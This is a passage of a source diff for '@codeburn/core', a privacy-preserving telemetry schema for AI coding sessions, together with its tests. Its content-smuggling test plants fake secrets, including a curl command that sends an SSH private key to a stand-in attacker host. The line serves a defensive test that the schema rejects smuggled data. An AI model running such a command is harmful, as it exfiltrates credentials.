|
||||
measuredCostUSD: NonNegUSD.optional(),
|
||||
/** A fallback estimate the host may keep alongside a measured figure. */
|
||||
fallbackCostUSD: NonNegUSD.optional(),
|
||||
|
||||
timestamp: IsoTimestamp,
|
||||
dedupKey: z.string().min(1),
|
||||
/** Canonical tool names only — never arguments. */
|
||||
toolNames: z.array(CanonicalToolName),
|
||||
turnIndex: NonNegInt,
|
||||
|
||||
// Rich-capture numerics: first-class optional fields.
|
||||
locAdded: NonNegInt.optional(),
|
||||
locRemoved: NonNegInt.optional(),
|
||||
interrupted: z.boolean().optional(),
|
||||
userModified: z.boolean().optional(),
|
||||
toolErrors: NonNegInt.optional(),
|
||||
editFailed: NonNegInt.optional(),
|
||||
})
|
||||
.strict()
|
||||
.refine(
|
||||
(c) => c.measuredCostUSD === undefined || c.costBasis === 'measured',
|
||||
{ message: 'measuredCostUSD is only allowed when costBasis is "measured"', path: ['measuredCostUSD'] },
|
||||
)
|
||||
export type CallObservation = z.infer<typeof CallObservation>
|
||||
|
||||
/**
|
||||
* A single session (a conversation / run).
|
||||
*
|
||||
* Identity is carried only as fingerprints. Branch names are fingerprinted too:
|
||||
* a raw branch name leaks feature intent, so the host keeps the raw value for
|
||||
* its own display and hands the observation layer only `gitBranchRef`.
|
||||
*/
|
||||
export const SessionObservation = z
|
||||
.object({
|
||||
sessionRef: FingerprintHex,
|
||||
projectRef: FingerprintHex,
|
||||
providerId: z.string().min(1),
|
||||
startedAt: IsoTimestamp,
|
||||
endedAt: IsoTimestamp.optional(),
|
||||
gitBranchRef: FingerprintHex.optional(),
|
||||
isSidechain: z.boolean().optional(),
|
||||
calls: z.array(CallObservation),
|
||||
turnCount: NonNegInt,
|
||||
})
|
||||
.strict()
|
||||
export type SessionObservation = z.infer<typeof SessionObservation>
|
||||
|
||||
/** The top-level container a decoder produces. */
|
||||
export const ObservationEnvelope = z
|
||||
.object({
|
||||
schemaVersion: z.literal(OBSERVATION_SCHEMA_VERSION),
|
||||
generator: z
|
||||
.object({
|
||||
name: z.literal('@codeburn/core'),
|
||||
version: z.string().min(1),
|
||||
})
|
||||
.strict(),
|
||||
sessions: z.array(SessionObservation),
|
||||
})
|
||||
.strict()
|
||||
export type ObservationEnvelope = z.infer<typeof ObservationEnvelope>
|
||||
|
||||
/** Parse-or-throw. Convenience wrapper over `ObservationEnvelope.parse`. */
|
||||
export function parseObservationEnvelope(input: unknown): ObservationEnvelope {
|
||||
return ObservationEnvelope.parse(input)
|
||||
}
|
||||
|
||||
/** Non-throwing parse. Returns zod's discriminated `SafeParseReturnType`. */
|
||||
export function safeParseObservationEnvelope(input: unknown) {
|
||||
return ObservationEnvelope.safeParse(input)
|
||||
}
|
||||
63
packages/core/src/schema.ts
Normal file
63
packages/core/src/schema.ts
Normal file
|
|
@ -0,0 +1,63 @@
|
|||
import { z } from 'zod'
|
||||
|
||||
/**
|
||||
* ObservationEnvelope schema version. 0.x per decision D8: the observation
|
||||
* contract is pre-stability, so consumers must treat minor bumps as breaking.
|
||||
*/
|
||||
export const OBSERVATION_SCHEMA_VERSION = '0.1.0'
|
||||
|
||||
/**
|
||||
* A privacy-preserving fingerprint: the first 16 hex chars of an HMAC-SHA256.
|
||||
* Modelled as a strict 16-char lowercase-hex string so the schema can only ever
|
||||
* carry an opaque ref — never a raw id, path, or branch name (anti-smuggling).
|
||||
*/
|
||||
export const FingerprintHex = z
|
||||
.string()
|
||||
.regex(/^[0-9a-f]{16}$/, 'must be a 16-char lowercase hex fingerprint')
|
||||
|
||||
/** A non-negative integer (token counts, LOC deltas, error counts). */
|
||||
export const NonNegInt = z.number().int().nonnegative()
|
||||
|
||||
/** A non-negative dollar amount. */
|
||||
export const NonNegUSD = z.number().nonnegative()
|
||||
|
||||
/**
|
||||
* ISO-8601 timestamp. Offsets are permitted so hosts in any timezone can emit
|
||||
* without first normalising to UTC.
|
||||
*/
|
||||
export const IsoTimestamp = z.string().datetime({ offset: true })
|
||||
|
||||
/**
|
||||
* Canonical tool name. Restricted to a conservative identifier charset so a
|
||||
* decoder physically cannot smuggle tool ARGUMENTS, paths, or free text through
|
||||
* this field — only the canonical name of the tool may appear.
|
||||
*/
|
||||
export const CanonicalToolName = z
|
||||
.string()
|
||||
.min(1)
|
||||
.max(64)
|
||||
.regex(/^[A-Za-z0-9_.-]+$/, 'canonical tool names only (no args, paths, or spaces)')
|
||||
|
||||
/** Per-call token buckets. All five are required, non-negative integers. */
|
||||
export const TokenBuckets = z
|
||||
.object({
|
||||
input: NonNegInt,
|
||||
output: NonNegInt,
|
||||
reasoning: NonNegInt,
|
||||
cacheRead: NonNegInt,
|
||||
cacheCreate: NonNegInt,
|
||||
})
|
||||
.strict()
|
||||
export type TokenBuckets = z.infer<typeof TokenBuckets>
|
||||
|
||||
/** Inference speed tier. Matches the CLI's `'standard' | 'fast'`. */
|
||||
export const Speed = z.enum(['standard', 'fast'])
|
||||
export type Speed = z.infer<typeof Speed>
|
||||
|
||||
/**
|
||||
* How a call's cost was determined.
|
||||
* - 'measured' : a provider-reported dollar figure is authoritative.
|
||||
* - 'estimated' : cost is derived from the token buckets via a pricing pass.
|
||||
*/
|
||||
export const CostBasis = z.enum(['measured', 'estimated'])
|
||||
export type CostBasis = z.infer<typeof CostBasis>
|
||||
115
packages/core/tests/content-smuggling.test.ts
Normal file
115
packages/core/tests/content-smuggling.test.ts
Normal file
|
|
@ -0,0 +1,115 @@
|
|||
import { readFileSync } from 'node:fs'
|
||||
import { dirname, resolve } from 'node:path'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
import { DiagnosticDetail } from '../src/diagnostics.js'
|
||||
import { ObservationEnvelope } from '../src/observations.js'
|
||||
|
||||
const here = dirname(fileURLToPath(import.meta.url))
|
||||
const goldenEnvelope = JSON.parse(
|
||||
readFileSync(resolve(here, '..', 'tests/fixtures/golden-envelope.json'), 'utf8'),
|
||||
)
|
||||
|
||||
/** Planted secrets a hostile decoder might try to exfiltrate. */
|
||||
const SECRETS = {
|
||||
prompt: 'SECRET PROMPT: reset the production database and email me the dump',
|
||||
absPath: '/Users/victim/company/secret-plan.md',
|
||||
apiKey: 'sk-live-AKIA1234567890SECRETKEY',
|
||||
commandLine: 'curl https://evil.example/exfil?data=$(cat ~/.ssh/id_rsa)',
|
||||
fileContent: 'BEGIN RSA PRIVATE KEY line1 line2 END RSA PRIVATE KEY',
|
||||
}
|
||||
const ALL_SECRETS = Object.values(SECRETS)
|
||||
|
||||
/** Recursively collect every string in a serializable value. */
|
||||
function allStrings(value: unknown, out: string[] = []): string[] {
|
||||
if (typeof value === 'string') out.push(value)
|
||||
else if (Array.isArray(value)) for (const v of value) allStrings(v, out)
|
||||
else if (value && typeof value === 'object') for (const v of Object.values(value)) allStrings(v, out)
|
||||
return out
|
||||
}
|
||||
|
||||
function clone(): any {
|
||||
return structuredClone(goldenEnvelope)
|
||||
}
|
||||
|
||||
describe('content-smuggling guardrail: strict() rejects unknown fields', () => {
|
||||
it('rejects an unknown top-level field carrying a secret', () => {
|
||||
const env = clone()
|
||||
env.userMessage = SECRETS.prompt
|
||||
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
|
||||
})
|
||||
|
||||
it('rejects an unknown field inside generator', () => {
|
||||
const env = clone()
|
||||
env.generator.title = SECRETS.prompt
|
||||
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
|
||||
})
|
||||
|
||||
it('rejects an unknown field inside a session', () => {
|
||||
const env = clone()
|
||||
env.sessions[0].prLinks = [SECRETS.absPath]
|
||||
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
|
||||
})
|
||||
|
||||
it('rejects an unknown field inside a call', () => {
|
||||
const env = clone()
|
||||
env.sessions[0].calls[0].command = SECRETS.commandLine
|
||||
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
describe('content-smuggling guardrail: typed fields reject free text', () => {
|
||||
it('rejects a path smuggled into sessionRef (must be a fingerprint)', () => {
|
||||
const env = clone()
|
||||
env.sessions[0].sessionRef = SECRETS.absPath
|
||||
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
|
||||
})
|
||||
|
||||
it('rejects a command line smuggled into toolNames (canonical names only)', () => {
|
||||
const env = clone()
|
||||
env.sessions[0].calls[0].toolNames = [SECRETS.commandLine]
|
||||
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
|
||||
})
|
||||
|
||||
it('rejects a prompt smuggled into a timestamp', () => {
|
||||
const env = clone()
|
||||
env.sessions[0].calls[0].timestamp = SECRETS.prompt
|
||||
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
|
||||
})
|
||||
|
||||
it('rejects file content smuggled into a numeric token bucket', () => {
|
||||
const env = clone()
|
||||
env.sessions[0].calls[0].tokens.input = SECRETS.fileContent
|
||||
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
describe('content-smuggling guardrail: accepted output is secret-free', () => {
|
||||
it('the parsed clean envelope contains none of the planted secrets', () => {
|
||||
const parsed = ObservationEnvelope.parse(goldenEnvelope)
|
||||
const haystack = allStrings(parsed).join('\n')
|
||||
for (const secret of ALL_SECRETS) {
|
||||
expect(haystack).not.toContain(secret)
|
||||
}
|
||||
})
|
||||
|
||||
it('even a serialized round-trip surfaces no secret', () => {
|
||||
const parsed = ObservationEnvelope.parse(goldenEnvelope)
|
||||
const serialized = JSON.stringify(parsed)
|
||||
for (const secret of ALL_SECRETS) {
|
||||
expect(serialized).not.toContain(secret)
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
describe('content-smuggling guardrail: diagnostic detail rejects paths', () => {
|
||||
it('rejects an absolute path', () => {
|
||||
expect(DiagnosticDetail.safeParse(SECRETS.absPath).success).toBe(false)
|
||||
})
|
||||
|
||||
it('rejects a command line (contains a slash)', () => {
|
||||
expect(DiagnosticDetail.safeParse(SECRETS.commandLine).success).toBe(false)
|
||||
})
|
||||
})
|
||||
90
packages/core/tests/diagnostics.test.ts
Normal file
90
packages/core/tests/diagnostics.test.ts
Normal file
|
|
@ -0,0 +1,90 @@
|
|||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
import {
|
||||
DIAGNOSTIC_DETAIL_MAX,
|
||||
DiagnosticDetail,
|
||||
RecordDiagnostic,
|
||||
isolateRecords,
|
||||
sanitizeDetail,
|
||||
} from '../src/diagnostics.js'
|
||||
import type { SessionObservation } from '../src/observations.js'
|
||||
|
||||
const fakeSession = (ref: string): SessionObservation => ({
|
||||
sessionRef: ref,
|
||||
projectRef: '0000000000000000',
|
||||
providerId: 'claude',
|
||||
startedAt: '2026-07-17T10:00:00.000Z',
|
||||
calls: [],
|
||||
turnCount: 0,
|
||||
})
|
||||
|
||||
describe('DiagnosticDetail validator', () => {
|
||||
it('accepts a bounded, path-free message', () => {
|
||||
expect(DiagnosticDetail.safeParse('unexpected token at position 4').success).toBe(true)
|
||||
})
|
||||
|
||||
it('rejects forward-slash paths', () => {
|
||||
expect(DiagnosticDetail.safeParse('failed on /home/u/secret.json').success).toBe(false)
|
||||
})
|
||||
|
||||
it('rejects backslash paths', () => {
|
||||
expect(DiagnosticDetail.safeParse('failed on C:\\Users\\me\\x').success).toBe(false)
|
||||
})
|
||||
|
||||
it('rejects strings over the max length', () => {
|
||||
expect(DiagnosticDetail.safeParse('x'.repeat(DIAGNOSTIC_DETAIL_MAX + 1)).success).toBe(false)
|
||||
})
|
||||
|
||||
it('RecordDiagnostic is strict (rejects unknown fields)', () => {
|
||||
expect(
|
||||
RecordDiagnostic.safeParse({ code: 'other', detail: 'ok', extra: 'nope' }).success,
|
||||
).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
describe('sanitizeDetail', () => {
|
||||
it('strips path separators so the result passes DiagnosticDetail', () => {
|
||||
const out = sanitizeDetail(new Error('cannot read /etc/passwd or C:\\secret'))
|
||||
expect(out).not.toMatch(/[\\/]/)
|
||||
expect(DiagnosticDetail.safeParse(out).success).toBe(true)
|
||||
})
|
||||
|
||||
it('caps length at the max', () => {
|
||||
expect(sanitizeDetail('y'.repeat(1000)).length).toBe(DIAGNOSTIC_DETAIL_MAX)
|
||||
})
|
||||
})
|
||||
|
||||
describe('isolateRecords poison isolation', () => {
|
||||
it('a throwing record becomes a diagnostic and never drops its siblings', () => {
|
||||
const records = ['good-1', 'POISON', 'good-2']
|
||||
const { observations, diagnostics } = isolateRecords(records, (record, index) => {
|
||||
if (record === 'POISON') throw new Error('kaboom at /secret/path')
|
||||
return { observations: [fakeSession(`ref-${index}`)] }
|
||||
})
|
||||
|
||||
expect(observations.map((o) => o.sessionRef)).toEqual(['ref-0', 'ref-2'])
|
||||
expect(diagnostics).toHaveLength(1)
|
||||
expect(diagnostics[0].index).toBe(1)
|
||||
expect(diagnostics[0].code).toBe('other')
|
||||
// The thrown message's path must have been sanitized out.
|
||||
expect(diagnostics[0].detail).not.toMatch(/[\\/]/)
|
||||
expect(RecordDiagnostic.safeParse(diagnostics[0]).success).toBe(true)
|
||||
})
|
||||
|
||||
it('aggregates observations and diagnostics returned by decodeOne', () => {
|
||||
const { observations, diagnostics } = isolateRecords([1, 2], (_r, index) => ({
|
||||
observations: [fakeSession(`s-${index}`)],
|
||||
diagnostics: [{ index, code: 'invalid-value' as const, detail: 'clamped a value' }],
|
||||
}))
|
||||
expect(observations).toHaveLength(2)
|
||||
expect(diagnostics).toHaveLength(2)
|
||||
})
|
||||
|
||||
it('never throws even when every record is poison', () => {
|
||||
const { observations, diagnostics } = isolateRecords(['a', 'b'], () => {
|
||||
throw new Error('always bad')
|
||||
})
|
||||
expect(observations).toEqual([])
|
||||
expect(diagnostics).toHaveLength(2)
|
||||
})
|
||||
})
|
||||
160
packages/core/tests/fingerprint.test.ts
Normal file
160
packages/core/tests/fingerprint.test.ts
Normal file
|
|
@ -0,0 +1,160 @@
|
|||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
import {
|
||||
branchRef,
|
||||
classifyResource,
|
||||
commandFamily,
|
||||
normalizePath,
|
||||
projectRef,
|
||||
resourceFingerprint,
|
||||
sessionRef,
|
||||
} from '../src/fingerprint.js'
|
||||
|
||||
const KEY = 'test-privacy-key'
|
||||
const KEY2 = 'a-different-key'
|
||||
const HEX16 = /^[0-9a-f]{16}$/
|
||||
|
||||
describe('fingerprint shape', () => {
|
||||
it('every ref is 16 lowercase hex chars', () => {
|
||||
expect(sessionRef(KEY, 'claude', 's1')).toMatch(HEX16)
|
||||
expect(projectRef(KEY, '/home/u/proj')).toMatch(HEX16)
|
||||
expect(branchRef(KEY, 'feature/x')).toMatch(HEX16)
|
||||
expect(resourceFingerprint(KEY, '/home/u/proj/src/a.ts').resourceId).toMatch(HEX16)
|
||||
})
|
||||
|
||||
it('requires a privacy key', () => {
|
||||
expect(() => sessionRef('', 'claude', 's1')).toThrow(/privacyKey/)
|
||||
})
|
||||
})
|
||||
|
||||
describe('determinism', () => {
|
||||
it('same inputs + key produce the same ref', () => {
|
||||
expect(sessionRef(KEY, 'claude', 's1')).toBe(sessionRef(KEY, 'claude', 's1'))
|
||||
expect(projectRef(KEY, '/home/u/proj')).toBe(projectRef(KEY, '/home/u/proj'))
|
||||
expect(branchRef(KEY, 'main')).toBe(branchRef(KEY, 'main'))
|
||||
})
|
||||
})
|
||||
|
||||
describe('distinctness', () => {
|
||||
it('different inputs produce different refs', () => {
|
||||
expect(sessionRef(KEY, 'claude', 's1')).not.toBe(sessionRef(KEY, 'claude', 's2'))
|
||||
expect(projectRef(KEY, '/a')).not.toBe(projectRef(KEY, '/b'))
|
||||
})
|
||||
|
||||
it('a different key produces a different ref (key isolation)', () => {
|
||||
expect(sessionRef(KEY, 'claude', 's1')).not.toBe(sessionRef(KEY2, 'claude', 's1'))
|
||||
})
|
||||
})
|
||||
|
||||
describe('domain separation', () => {
|
||||
it('the same string in different domains produces different refs', () => {
|
||||
const s = 'shared-string'
|
||||
const asSession = sessionRef(KEY, s, '') // session-domain
|
||||
const asProject = projectRef(KEY, s)
|
||||
const asBranch = branchRef(KEY, s)
|
||||
const asResource = resourceFingerprint(KEY, s).resourceId
|
||||
const all = new Set([asSession, asProject, asBranch, asResource])
|
||||
expect(all.size).toBe(4)
|
||||
})
|
||||
|
||||
it('sessionRef separates provider from id (no field-boundary collision)', () => {
|
||||
// "ab" + "c" must not collide with "a" + "bc".
|
||||
expect(sessionRef(KEY, 'ab', 'c')).not.toBe(sessionRef(KEY, 'a', 'bc'))
|
||||
})
|
||||
})
|
||||
|
||||
describe('non-reversibility (sanity)', () => {
|
||||
it('the ref does not contain the plaintext input', () => {
|
||||
const secret = 'super-secret-session-id'
|
||||
const ref = sessionRef(KEY, 'claude', secret)
|
||||
expect(ref).not.toContain(secret)
|
||||
expect(ref.length).toBe(16)
|
||||
})
|
||||
})
|
||||
|
||||
describe('path normalization', () => {
|
||||
it('converts backslashes and strips trailing separators', () => {
|
||||
expect(normalizePath('C:\\Users\\me\\proj\\')).toBe('c:/users/me/proj')
|
||||
expect(normalizePath('/home/u/proj/')).toBe('/home/u/proj')
|
||||
})
|
||||
|
||||
it('case-folds only Windows-style paths', () => {
|
||||
// POSIX path keeps case (Foo.ts !== foo.ts on POSIX).
|
||||
expect(normalizePath('/home/U/Foo.ts')).toBe('/home/U/Foo.ts')
|
||||
// Windows drive path is lowercased.
|
||||
expect(normalizePath('D:\\Code\\App.TS')).toBe('d:/code/app.ts')
|
||||
})
|
||||
|
||||
it('a POSIX and Windows spelling of the same path can be made to hash equally when case matches', () => {
|
||||
// Backslash form is treated as Windows and lowercased; the equivalent
|
||||
// already-lowercase POSIX form hashes identically.
|
||||
expect(projectRef(KEY, 'C:\\proj\\app')).toBe(projectRef(KEY, 'c:/proj/app'))
|
||||
})
|
||||
})
|
||||
|
||||
describe('resource classification', () => {
|
||||
const cases: Array<[string, string]> = [
|
||||
['/repo/node_modules/lodash/index.js', 'dependency'],
|
||||
['/repo/.venv/lib/site.py', 'dependency'],
|
||||
['/repo/backend/site-packages/x.py', 'dependency'],
|
||||
['/repo/dist/index.js', 'build'],
|
||||
['/repo/.next/server/page.js', 'build'],
|
||||
['/repo/target/debug/app', 'build'],
|
||||
['/repo/.git/HEAD', 'vcs'],
|
||||
['/repo/.eslintrc', 'config'],
|
||||
['/repo/tsconfig.json', 'config'],
|
||||
['/repo/config/app.yaml', 'config'],
|
||||
['/repo/Cargo.toml', 'config'],
|
||||
['/repo/README.md', 'doc'],
|
||||
['/repo/notes.txt', 'doc'],
|
||||
['/repo/src/main.ts', 'source'],
|
||||
['/repo/src/lib.rs', 'source'],
|
||||
['/repo/pkg/service.go', 'source'],
|
||||
['/repo/data.bin', 'other'],
|
||||
['/repo/LICENSE', 'other'],
|
||||
]
|
||||
it.each(cases)('classifies %s as %s', (path, expected) => {
|
||||
expect(classifyResource(path)).toBe(expected)
|
||||
})
|
||||
|
||||
it('directory class beats extension (a .ts under node_modules is a dependency)', () => {
|
||||
expect(classifyResource('/repo/node_modules/pkg/index.ts')).toBe('dependency')
|
||||
})
|
||||
})
|
||||
|
||||
describe('commandFamily (leading token only)', () => {
|
||||
const cases: Array<[string, string]> = [
|
||||
['git commit -m "x"', 'git'],
|
||||
['git push origin main', 'git'],
|
||||
['vitest run tests/', 'test'],
|
||||
['pytest -q', 'test'],
|
||||
['npm test', 'test'],
|
||||
['npm run build', 'build'],
|
||||
['npm run dev', 'run'],
|
||||
['npm install lodash', 'package'],
|
||||
['yarn add react', 'package'],
|
||||
['pnpm ci', 'package'],
|
||||
['tsc --noEmit', 'build'],
|
||||
['make all', 'build'],
|
||||
['go test ./...', 'test'],
|
||||
['go build ./cmd', 'build'],
|
||||
['pip install requests', 'package'],
|
||||
['node server.js', 'run'],
|
||||
['python3 main.py', 'run'],
|
||||
['./scripts/run.sh', 'run'],
|
||||
['/usr/local/bin/tool --flag', 'run'],
|
||||
['rm -rf build', 'fs'],
|
||||
['ls -la', 'fs'],
|
||||
['curl https://example.com', 'net'],
|
||||
['ssh host', 'net'],
|
||||
['frobnicate --wild', 'shell-other'],
|
||||
['', 'shell-other'],
|
||||
]
|
||||
it.each(cases)('classifies %j as %s', (command, expected) => {
|
||||
expect(commandFamily(command)).toBe(expected)
|
||||
})
|
||||
|
||||
it('classifies by the binary basename, not its path', () => {
|
||||
expect(commandFamily('/opt/homebrew/bin/git status')).toBe('git')
|
||||
})
|
||||
})
|
||||
64
packages/core/tests/fixtures/golden-envelope.json
vendored
Normal file
64
packages/core/tests/fixtures/golden-envelope.json
vendored
Normal file
|
|
@ -0,0 +1,64 @@
|
|||
{
|
||||
"schemaVersion": "0.1.0",
|
||||
"generator": {
|
||||
"name": "@codeburn/core",
|
||||
"version": "0.9.19"
|
||||
},
|
||||
"sessions": [
|
||||
{
|
||||
"sessionRef": "a1b2c3d4e5f60718",
|
||||
"projectRef": "0f1e2d3c4b5a6978",
|
||||
"providerId": "claude",
|
||||
"startedAt": "2026-07-17T10:00:00.000Z",
|
||||
"endedAt": "2026-07-17T10:42:00.000Z",
|
||||
"gitBranchRef": "deadbeefcafe0011",
|
||||
"isSidechain": false,
|
||||
"turnCount": 2,
|
||||
"calls": [
|
||||
{
|
||||
"provider": "claude",
|
||||
"model": "claude-opus-4-8",
|
||||
"pricingModel": "claude-opus-4-8",
|
||||
"tokens": {
|
||||
"input": 1200,
|
||||
"output": 340,
|
||||
"reasoning": 0,
|
||||
"cacheRead": 800,
|
||||
"cacheCreate": 120
|
||||
},
|
||||
"webSearchRequests": 0,
|
||||
"speed": "standard",
|
||||
"costBasis": "measured",
|
||||
"measuredCostUSD": 0.0123,
|
||||
"timestamp": "2026-07-17T10:00:05.000Z",
|
||||
"dedupKey": "call-0001",
|
||||
"toolNames": ["Read", "Edit", "Bash"],
|
||||
"turnIndex": 0,
|
||||
"locAdded": 12,
|
||||
"locRemoved": 3,
|
||||
"interrupted": false,
|
||||
"toolErrors": 0
|
||||
},
|
||||
{
|
||||
"provider": "claude",
|
||||
"model": "claude-sonnet-4-6",
|
||||
"tokens": {
|
||||
"input": 500,
|
||||
"output": 90,
|
||||
"reasoning": 40,
|
||||
"cacheRead": 0,
|
||||
"cacheCreate": 0
|
||||
},
|
||||
"webSearchRequests": 1,
|
||||
"speed": "fast",
|
||||
"costBasis": "estimated",
|
||||
"fallbackCostUSD": 0.004,
|
||||
"timestamp": "2026-07-17T10:05:00.000Z",
|
||||
"dedupKey": "call-0002",
|
||||
"toolNames": ["WebSearch"],
|
||||
"turnIndex": 1
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
20
packages/core/tests/fixtures/golden-finding.json
vendored
Normal file
20
packages/core/tests/fixtures/golden-finding.json
vendored
Normal file
|
|
@ -0,0 +1,20 @@
|
|||
{
|
||||
"detectorId": "cache-underuse",
|
||||
"algorithmVersion": "0.1.0",
|
||||
"confidence": {
|
||||
"score": 0.82,
|
||||
"basis": "cacheRead was zero across all sampled calls despite repeated context"
|
||||
},
|
||||
"evidence": [
|
||||
{
|
||||
"kind": "sessions-without-cache-read",
|
||||
"count": 3,
|
||||
"sessionRefs": ["a1b2c3d4e5f60718", "0f1e2d3c4b5a6978"]
|
||||
},
|
||||
{
|
||||
"kind": "affected-resources",
|
||||
"refs": ["deadbeefcafe0011"]
|
||||
}
|
||||
],
|
||||
"impactUSD": 4.21
|
||||
}
|
||||
22
packages/core/tests/harness/block-io-hooks.mjs
Normal file
22
packages/core/tests/harness/block-io-hooks.mjs
Normal file
|
|
@ -0,0 +1,22 @@
|
|||
// ESM loader hook (registered by block-io-register.mjs). Throws on resolution of
|
||||
// any I/O-capable core module, so if @codeburn/core touches the filesystem, a
|
||||
// child process, or the network at import time — or during a trivial call — the
|
||||
// import fails and the import-smoke guardrail catches it.
|
||||
const BANNED = new Set([
|
||||
'fs',
|
||||
'fs/promises',
|
||||
'child_process',
|
||||
'net',
|
||||
'http',
|
||||
'https',
|
||||
'dns',
|
||||
'dns/promises',
|
||||
])
|
||||
|
||||
export async function resolve(specifier, context, nextResolve) {
|
||||
const bare = specifier.replace(/^node:/, '')
|
||||
if (BANNED.has(bare)) {
|
||||
throw new Error(`import-smoke: blocked I/O module import "${specifier}"`)
|
||||
}
|
||||
return nextResolve(specifier, context)
|
||||
}
|
||||
11
packages/core/tests/harness/block-io-register.mjs
Normal file
11
packages/core/tests/harness/block-io-register.mjs
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
// Preload (`node --import`) for the import-smoke child. Registers the I/O
|
||||
// blocking loader hook and empties process.env, so the child runs with no
|
||||
// ambient environment and no ability to reach fs / child_process / net / http /
|
||||
// https / dns.
|
||||
import { register } from 'node:module'
|
||||
|
||||
register('./block-io-hooks.mjs', import.meta.url)
|
||||
|
||||
for (const key of Object.keys(process.env)) {
|
||||
delete process.env[key]
|
||||
}
|
||||
48
packages/core/tests/harness/import-smoke-child.mjs
Normal file
48
packages/core/tests/harness/import-smoke-child.mjs
Normal file
|
|
@ -0,0 +1,48 @@
|
|||
// Runs under block-io-register.mjs. argv[2..] are absolute paths to every
|
||||
// exports-map dist target (computed by the parent test from package.json, since
|
||||
// this child cannot read files). It imports each one, then calls a trivial
|
||||
// fingerprint + schema parse via the barrel. Any I/O import inside core makes
|
||||
// one of these dynamic imports throw, failing the guardrail.
|
||||
import { pathToFileURL } from 'node:url'
|
||||
|
||||
const targets = process.argv.slice(2)
|
||||
if (targets.length === 0) {
|
||||
console.error('import-smoke: no dist targets provided')
|
||||
process.exit(2)
|
||||
}
|
||||
|
||||
const loaded = {}
|
||||
for (const abs of targets) {
|
||||
const mod = await import(pathToFileURL(abs).href)
|
||||
loaded[abs] = mod
|
||||
}
|
||||
|
||||
// The barrel is the first target by convention; find whichever export set has
|
||||
// the functions we need (index re-exports everything).
|
||||
const barrel = Object.values(loaded).find(
|
||||
(m) => typeof m.sessionRef === 'function' && typeof m.parseObservationEnvelope === 'function',
|
||||
)
|
||||
if (!barrel) {
|
||||
console.error('import-smoke: barrel exports not found across targets')
|
||||
process.exit(3)
|
||||
}
|
||||
|
||||
// Trivial fingerprint (pure crypto, no I/O).
|
||||
const ref = barrel.sessionRef('smoke-key', 'claude', 'session-123')
|
||||
if (!/^[0-9a-f]{16}$/.test(ref)) {
|
||||
console.error(`import-smoke: unexpected fingerprint ${ref}`)
|
||||
process.exit(4)
|
||||
}
|
||||
|
||||
// Trivial schema parse.
|
||||
const env = barrel.parseObservationEnvelope({
|
||||
schemaVersion: '0.1.0',
|
||||
generator: { name: '@codeburn/core', version: '0.0.0-smoke' },
|
||||
sessions: [],
|
||||
})
|
||||
if (env.schemaVersion !== '0.1.0') {
|
||||
console.error('import-smoke: parse returned unexpected envelope')
|
||||
process.exit(5)
|
||||
}
|
||||
|
||||
console.log('IMPORT_SMOKE_OK')
|
||||
74
packages/core/tests/import-smoke.test.ts
Normal file
74
packages/core/tests/import-smoke.test.ts
Normal file
|
|
@ -0,0 +1,74 @@
|
|||
import { execFileSync, spawnSync } from 'node:child_process'
|
||||
import { existsSync, readFileSync } from 'node:fs'
|
||||
import { dirname, resolve } from 'node:path'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
import { beforeAll, describe, expect, it } from 'vitest'
|
||||
|
||||
/**
|
||||
* IMPORT-SMOKE GUARDRAIL.
|
||||
*
|
||||
* Proves @codeburn/core performs no filesystem / child-process / network I/O at
|
||||
* import time or during a trivial fingerprint + schema parse. We run against the
|
||||
* BUILT dist (pure ESM whose only deps are `zod` and `node:crypto`), so the
|
||||
* child needs no TS loader — just plain node plus a resolve hook that throws on
|
||||
* any I/O module. Resolving the exports-map targets to file paths (rather than
|
||||
* importing `@codeburn/core` by name) avoids a self-symlink dance in the
|
||||
* worktree while still exercising every declared subpath.
|
||||
*/
|
||||
const here = dirname(fileURLToPath(import.meta.url))
|
||||
const pkgRoot = resolve(here, '..')
|
||||
const registerPreload = resolve(here, 'harness/block-io-register.mjs')
|
||||
const childScript = resolve(here, 'harness/import-smoke-child.mjs')
|
||||
|
||||
function exportsTargets(): string[] {
|
||||
const pkg = JSON.parse(readFileSync(resolve(pkgRoot, 'package.json'), 'utf8'))
|
||||
const targets: string[] = []
|
||||
for (const [subpath, entry] of Object.entries<Record<string, string>>(pkg.exports)) {
|
||||
const rel = entry.import
|
||||
expect(rel, `exports["${subpath}"] must declare an import target`).toBeTruthy()
|
||||
targets.push(resolve(pkgRoot, rel))
|
||||
}
|
||||
// Barrel first so the child finds the full export set quickly.
|
||||
targets.sort((a) => (a.endsWith('/index.js') ? -1 : 1))
|
||||
return targets
|
||||
}
|
||||
|
||||
beforeAll(() => {
|
||||
// Build the artifact the guardrail inspects. Fresh build avoids stale dist.
|
||||
execFileSync('npm', ['run', 'build'], { cwd: pkgRoot, stdio: 'pipe' })
|
||||
}, 120_000)
|
||||
|
||||
describe('import-smoke guardrail', () => {
|
||||
it('imports every exports subpath and runs a trivial op with all I/O modules blocked', () => {
|
||||
const targets = exportsTargets()
|
||||
for (const t of targets) {
|
||||
expect(existsSync(t), `built dist target missing: ${t}`).toBe(true)
|
||||
}
|
||||
|
||||
const result = spawnSync(
|
||||
process.execPath,
|
||||
['--import', registerPreload, childScript, ...targets],
|
||||
{ cwd: pkgRoot, encoding: 'utf8' },
|
||||
)
|
||||
|
||||
if (result.status !== 0) {
|
||||
throw new Error(
|
||||
`import-smoke child exited ${result.status}\nstdout:\n${result.stdout}\nstderr:\n${result.stderr}`,
|
||||
)
|
||||
}
|
||||
expect(result.stdout).toContain('IMPORT_SMOKE_OK')
|
||||
})
|
||||
|
||||
it('confirms the block hook actually throws on a banned module (harness sanity)', () => {
|
